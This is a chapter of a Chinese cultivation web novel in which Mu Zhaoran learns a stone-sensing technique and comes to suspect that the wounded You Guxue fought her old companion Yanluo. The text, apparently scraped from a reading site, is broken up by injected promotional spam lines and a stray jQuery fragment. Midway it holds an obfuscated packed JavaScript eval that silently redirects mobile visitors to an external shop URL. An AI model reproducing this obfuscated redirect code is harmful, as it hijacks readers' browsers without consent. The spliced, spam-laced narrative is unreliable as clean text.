土宫石林。
慕昭然每日早出晚归,老老实实地待在石林又一连摸了十多天的石头终于学会取巧。
入石林后慕昭然照常先确定自己今日要摸的石头范围,然后在那一片区域中找到一墩最为高大的石头,爬上去盘膝坐在最顶上。
闭上眼睛,运转灵力驱动丹田的地星诀灵基上点亮的铭文从丹田里飞散出去宛若一条缀满星河的飘带飘飞在她双臂之间,随着灵力的引导,流淌过下方的每一块大大小小的山石。
铭文每淌过一块石头接触到内里的石心气,慕昭然心中便也对那石头的属性了若指掌,比死记硬背那本石谱要快捷得多。
当那一块山石的石心气敛入地星诀中后慕昭然只需轻轻勾手,不管是再如何庞大沉重的山石,都能轻而易举地受她所控,落来她手边。
从这方面来说,地星诀也不愧为老头嘴里的绝世功法。
然而石林里这么多千奇百怪的石头,有的崎岖雄伟,有的明艳璀璨,明明每一块看上去都那么听话但偏偏地星诀就跟个万花丛中过的渣男一样从一块块石头上掠过,挟一缕石心气就跑。
竟没有一块石头能被它相中填进丹田的坑里。
慕昭然就像是一个心急如焚的老母亲看每一块石头都觉得俊俏
她控制着灵力一遍一遍去抚摸自己心仪的石头苦口婆心地劝说道:“这一块红色的赤精石不好吗?这么漂亮还具有熔炼之力一听就很霸气连这都瞧不上?”
地星诀从赤精石内穿过铭文一敛空手回到了她的丹田内。
慕昭然:“……”怎么这么挑!?
这片石林存放浩如烟海的奇石慕昭然眼看都快要摸完了竟都没能再契合一块本命石丹田内还是只有那一颗独苗。
更关键的是这石林已经算是涵盖了天下七成的石头了她还能到哪里去再找四颗石头!地卷里那老头该不会是讹她的吧?
慕昭然不死心道:“……那这一块呢?迷石一出可平地起一座迷城即可攻又可守能把敌人困死在城中。”
地星诀意思意思舔了石头一下挟一缕石心气又跑了。
慕昭然:“……”流氓!
慕昭然摸了一天石头依然一无所获被伤透了心回到竹溪阁瘫在床榻上嚎叫:“这日子什么时候是个头啊?”
霜序在旁边道:“殿下才入石林月余怎的就不耐烦了?换做我们剑修每日都得挥剑我到现在每天都还要挥剑三万次呢。”
慕昭然听到挥剑就心有余悸对比起来那还是摸石头轻松点。
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
她现在每日坐仙鹤去土宫,都会路过绝山的演武场,每天都能看到剑修在那里挥剑,容亭觉和宁衰也在里面,前些日子是游辜雪在那里指导弟子练剑,这几日换做了云霄飏。
慕昭然便多给了仙鹤半条鱼,让仙鹤绕道而行,免得一大早看见某人心浮气躁不说,还晦气一整天。
她刚沐浴完,躺在床沿让侍从给她护理头发,栀子油的香味弥漫在房中,侍从将她的头发梳理顺畅,用一条柔软的发带拢住乌黑顺滑的发丝,在背后绑起来。
慕昭然打了个呵欠,挥手让人退下了,乌团被派去找镜子后,只隔三差五回来一趟,竹溪阁里分外清静,也不会有猫半夜叼着石老鼠来踩她的肚子。
因为叶离枝的步步紧逼,慕昭然在修炼上感觉到了空前压力,脑子成天除了石头就是石头,不知是不是这个原因,她很久都没有再做过梦。
这让慕昭然曾经的担忧,又随风散去,不再那么疑神疑鬼了。
也许真的只是她日有所思,才会夜有所梦,时间能冲淡一切,哪怕她心中对阎罗有再多的愧疚,也会逐渐遗忘他,所以才不再做梦了。
先前她因为唇角的一个小破口就忽然疑神疑鬼,担惊受怕,实在有些好笑。
慕昭然身心都难得轻松,舒服地伸展下四肢,抱着被子准备入睡,余光忽然瞥见妆台上有灵力微微一闪。
她起身去,从妆台上拿起那面镜子,这几日慕昭然梳妆时,会瞥一眼镜子,除了那一日看见梅花鹿后,镜子里便一直没有画面,她都怀疑那梅花鹿又将镜子丢在了哪处。
但现在这镜中忽然有了画面。
那画面中昏昏暗暗,隐约能看出乌沉的岩壁,壁上非常潮湿,往下渗着水珠,看上去像是一个山洞,慕昭然凑近了些,看那水珠一滴滴往下滴落,心中猜测这该不会是那只梅花鹿的巢吧?
梅花鹿是住在山洞中的吗?
镜子另一面的确是一个山洞,外面夜色将至,洞中潮湿而昏暗,只有镜子里透出一缕温暖的烛火光芒。
镜子光亮的镜面里,映照出一张白皙干净的脸庞,眉眼秀丽,唇红而润,乌黑的长发被缎带系在身后,额角的碎发从两鬓散落下来,显出几分平日难见的慵懒和随性。
游辜雪倚靠在洞壁上,衣襟上洇着一团鲜血,钻心的疼痛让他额上冒出一层冷汗,青筋从皮肤底下鼓胀出来,太阳穴一突一突地跳着。
黑暗中,是他一声比一声痛苦的喘息。
方才痛到极致时,这面镜子忽然从袖口里落了出来,游辜雪握着它,颤抖地拂开了镜面上的符文,温暖的烛光从另一端传递过来,很快便有人走入镜中画面,伸出细长的手
你的朋友正在书荒,快去帮帮他吧
指,拿起了镜子。
游辜雪看到慕昭然,及时将镜面调转了个角度,照向滴水的山洞岩壁。
而他倚靠在黑暗中,阴暗地窥伺着她。
慕昭然眨着乌黑的眼睛,好奇地凑来镜面前查看这一端,垂下的一缕发丝落在镜面上,仿佛都能感觉到有清淡的栀子香透过镜面,拂来他鼻息间。
游辜雪侧眸看着镜子里的人,眼中泛出红丝,心脏里的锐痛因为镜中的人,似乎缓解了一些。
意识到这一点,他忍不住低声笑起来,慕昭然,慕昭然,他明明深刻地体会过她的虚伪,绝情,巧言令色,也痛恨她的愚妄,轻浮,轻易就折服在另一个男人的脚下。
可到最后,当她被所有人抛弃,只能痛哭流涕地倚靠在他胸口时,他竟还会心疼她。
明明她才是那个最能伤他的人。
游辜雪盯着镜子,痛得有些恍神,伸手想要去触碰那烛光中的面容,但奈何镜中人实在没有很多耐心,发现镜子所映照的只是一堵无聊的石壁后,便很快盖了镜面。
镜中的光芒消失。
游辜雪收回落空的手指,闭上眼睛,自嘲地轻笑。
……
慕昭然将乌团放出去寻找双影镜数日,它终于从外面回来,没找回镜子,但抓回了那只偷镜子的梅花鹿。
慕昭然捉着鹿角审问它镜子在哪,换来梅花鹿无辜的眨眼,鹿眼乌黑晶亮,密而长的睫毛上下呼扇,眼神如绝山上的山泉水一样清透干净,害得慕昭然只要声音大点,都感觉自己良心不安。
她自然是什么都没有审问出来。
慕昭然只好作罢,总归镜子还在天道宫的某个山洞中,等她想起镜子背面铭刻的定位符文,就能找到它。
梅花鹿和乌团成了玩伴,每天一早便来竹溪阁等着乌团出去玩,到了晚上便又将它送回来,有时跑得太远,还夜不归宿。
连石老鼠都被打入了冷宫。
慕昭然早上还在屋里坐着梳妆,那梅花鹿就又来门口守着了,乌团从她怀里窜出去,跳上梅花鹿的脑袋,一猫一鹿蹦蹦跳跳地跑了。
侍从在周围的匣屉中翻找,“殿下常用的那把木梳怎么不见了?”
“有一条腰链是不是也一直没找到?”
“看来得将殿下的饰品好好清查一番了。”
慕昭然打着呵欠,并未将这些小事放在心上。
她在石林中摸了将近两个月的石头,每日摸石头运转灵力,让她体内的灵基越发敦实,丹田里所能容纳的灵力越发浑厚,她的修为增长得很快。
只不到两月,便已往上跨越一阶,从筑基初期到了筑基中期。
她这样快的修炼速度,叫土宫的师兄师姐都刮目相看,
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
就连那看她不太顺眼的五师兄都不得不承认她的土行天赋。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335193|165084||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
慕昭然前世在剑道上吃了太多苦头为一个男人削足适履逼着自己去学不擅长的剑道最终一事无成只能依靠灵丹妙药将自己催上金丹境界在比试台上丢尽脸面。
她还是第一次知道原来修炼可以如此顺风顺水原来吸纳灵气可以像呼吸一样自然土灵气游走在经脉中只会滋养她的经脉而不是像吸纳金灵气那样刮伤经脉每一次循环周天都疼痛难忍。
原来这世上的山石土地都这样可爱。
什么剑道早该让它见鬼去了。
土行天赋就是最伟大的!
已近冬日昼短夜长。
这一日慕昭然又摸了一天的石头从石林结界中出来时一点冰凉忽然落来脸上慕昭然疲惫的心神顿时一凛抬眸往天上看去。
临近黄昏天边不见夕阳气候阴冷了多日终于开始飘起零星碎雪。
天道宫地势太高气候偏冷初雪来得也早
慕昭然看到雪花很是兴奋大步走到开阔的地方捧着双手去接天空中越发密集的雪花。
昏暗的天幕下一道流光忽然撕开了厚重的云层漏出云层遮掩后的一隙晚霞。
悬立在剑上的人垂眸看下一眼便看到沉沉地面上那一抹明丽的亮黄慕昭然裹在一件白狐裘织金黄缎斗篷里半张脸都陷在毛茸茸的狐裘内只露出一双黑润润的眼睛。
两人的视线隔空碰撞在一起头顶浓云很快聚拢那微弱的一线晚霞也消失不见天光越发晦暗。
御剑之人掠空而过没有丝毫停顿。
一点不同于雪花的微弱萤火随风飘落下来落在慕昭然的额上她收回被冻得冰凉的手伸手摸了摸摸下一片细小的莹莹花瓣本该透明的花瓣上却浸润了一抹鲜红。
是血。
而且这花是千颜花。
慕昭然蓦地回头往游辜雪御剑离开的方向看去他身上怎么会有千颜花?他去竹溪阁了?游辜雪去她的竹溪阁干什么?而且还沾了血。
身后忽然有人唤道:“昭然大师兄今日做了涮锅子热气腾腾的可香了快点回去吃不然一会儿就没了!”
望舒提着一盏灯快步跑过来接她。
慕昭然握紧手里的花瓣心乱如麻地向她走过去心里还在转着那些疑问。
望舒瞧见她眉心蹭到的血迹惊讶地拉住她上下打量“你受伤了?在石林里遇到坏石头了?”
慕昭然回过神来解释道:“没有我没事方才见游师兄从上空御剑而过应该是他滴下
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
来的血。”
林夫子提前交代过,石林里有一片区域收集了一些凶戾之石,她现在修为不够,让她不要贸然靠近,等摸完全林的石头,再去那一片试试也不迟。
慕昭然惜命得很,在这方面她还是很听劝告,一开始都绕着那片凶石走,后来周围的石头实在摸完了,才开始往那片凶石林里尝试,那片凶石林看着阴森可怖,奇诡凶戾,但在地星诀下,依然任她手到擒来。
只可惜,不论是良石还是凶石,地星诀都没看上眼的。
“行天剑君竟然受伤了?”望舒顺着她的视线往天边望去一眼,感叹道,“也是,他总是这般独来独往,单打独斗,就算修为再高,也难免受伤,何况这回的任务对象可是个狠厉之徒。”
慕昭然好奇道:“师姐知道些情况?”
她这段时日早出晚归,天天都待在石林里,对外面的事情一无所知。
望舒道:“前段时间烟瘴海的那个蛊魔出关了,一出关就操纵蛊虫吞了附近几座村子,消息传到天道宫,游师兄便奉命出宫,前去为民除害。”
慕昭然心跳一滞,随即又更急更快地跳动起来,脑子里嗡嗡作响,呐呐地重复,“蛊魔?”
望舒以为她害怕,安慰道:“没事,行天剑君外出执行任务,不灭罪徒便不会归,他既已回,那蛊魔必定已经伏诛了。”
慕昭然脑子里的嗡鸣声更大了,她低头看向掌心里那一片染血的莹莹花瓣,忽然生出一种天旋地转的眩晕感。
那个蛊魔,会是阎罗吗?
阎罗身上的雷击伤痕,难道就是这一次和游辜雪交手而留下的?